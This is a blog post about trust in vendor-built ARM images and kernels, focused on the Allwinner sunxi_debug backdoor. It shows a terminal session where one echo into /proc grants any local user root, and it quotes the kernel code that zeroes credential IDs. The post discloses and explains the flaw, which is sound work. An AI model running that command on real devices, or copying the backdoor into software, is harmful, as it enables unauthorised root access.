Debugging backdoors and the usual software distribution for embedded-oriented systems
In the ARM world, to which I am still mostly a newcomer (although I’ve been already playing with ARM machines for over two years, I am a complete newbie compared to my Debian friends who live and breathe that architecture), the most common way to distribute operating systems is to distribute complete, already-installed images. I have ranted in the past on how those images ought to be distributed.
Some time later, I also discussed on my blog on how most of this hardware requires unauditable binary blobs and other non-upstreamed modifications to Linux.
Anyway, one of the points we make emphasis on to our students is that the very concept of embedded makes the mere idea of downloading a pre-built, 4GB image, loaded with a (supposedly lightweight, but far fatter than my usual) desktop environment and whatnot an irony.
As part of the “Linux Userspace” and “Boot process” modules, we make a lot of emphasis on how to build a minimal image. And even leaving installed size aside, it all boils down to trust. We teach mainly four different ways of setting up a system: <ul><li>Using our trusty Debian Installer in the (unfortunately few) devices where it is supported</li><li>Installing via Debootstrap, as I did in my CuBox-i tutorial (note that the tutorial is nowadays obsolete. The CuBox-i can boot with Debian Installer!) and just keeping the boot partition (both for u-boot and for the kernel) of the vendor-provided install</li><li>Building a barebones system using the great Buildroot set of scripts and hacks</li><li>Downloading a full, but minimal, installed image, such as OpenWRT (I have yet to see what’s there about its fork, LEDE)</li></ul>
Now… In the past few days, a huge vulnerability / oversight was discovered and made public, supporting my distrust of distribution forms that do not come from, well… The people we already know and trust to do this kind of work!
Most current ARM chips cannot run with the stock, upstream Linux kernel. Then require a set of patches that different vendors pile up to support their basic hardware (remember those systems are almost always systems-on-a-chip (SoC)). Some vendors do take the hard work to try to upstream their changes — that is, push the changes they did to the kernel for inclusion in mainstream Linux. This is a very hard task, and many vendors just abandon it.
So, in many cases, we are stuck running with nonstandard kernels, full with huge modifications… And we trust them to do things right. After all, if they are knowledgeable enough to design a SoC, they should do at least decent kernel work, right?
Turns out, it’s far from the case. I have a very nice and nifty Banana Pi M3, based on the Allwinner A83T SoC. 2GB RAM, 8 ARM cores… A very nice little system, almost usable as a desktop. But it only boots with their modified 3.4.x kernel.
This kernel has a very ugly flaw: A debugging mode left open, that allows any local user to become root. Even on a mostly-clean Debian system, installed by a chrooted debootstrap:
Debian GNU/Linux 8 bananapi ttyS0
banana login: gwolf Password:
Last login: Thu Sep 24 14:06:19 CST 2015 on ttyS0 Linux bananapi 3.4.39-BPI-M3-Kernel #9 SMP PREEMPT Wed Sep 23 15:37:29 HKT 2015 armv7l
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
gwolf@banana:~$ id uid=1001(gwolf) gid=1001(gwolf) groups=1001(gwolf),4(adm),20(dialout),21(fax),24(cdrom),25(floppy),26(tape),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev) gwolf@banana:~$ echo rootmydevice > /proc/sunxi_debug/sunxi_debug gwolf@banana:~$ id groups=0(root),4(adm),20(dialout),21(fax),24(cdrom),25(floppy),26(tape),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),1001(gwolf) </code>
Why? Oh, well, in this kernel somebody forgot to comment out (or outright remove!) the sunxi-debug.c file, or at the very least, a horrid part of code therein (it’s a very small, simple file):
cred = (struct cred *)__task_cred(current);
cred->uid = 0;
cred->gid = 0;
cred->suid = 0;
cred->euid = 0;
cred->euid = 0;
cred->egid = 0;
cred->fsuid = 0;
cred->fsgid = 0;
printk("now you are root\n");
Now… Just by looking at this file, many things should be obvious. For example, this is not only dangerous and lazy (it exists so developers can debug by touching a file instead of… typing a password?), but also goes against the kernel coding guidelines — the file is not documented nor commented at all. Peeking around other files in the repository, it gets obvious that many files lack from this same basic issue — and having this upstreamed will become a titanic task. If their programmers tried to adhere to the guidelines to begin with, integration would be a much easier path. Cutting the wrong corners will just increase the needed amount of work.
Anyway, enough said by me. Some other sources of information:
- The Register: This is what a root debug backdoor in a Linux kernel looks like
- How to root any Allwinner device running Android and most of the Chinese “Pi” clones which bet on Allwinner Android Linux Kernel, with some interesting comments regarding the extent of this bug's impact in different chips from the same family
- Commit fixing it on the SinoVoip repository — Of course, the fun part will be delivering it to users. If affected machines are effectively running as embedded systems of any sort... good luck with it! :-P
There are surely many other mentions of this. I just had to repeat it for my local echo chamber, and for future reference in class! ;-)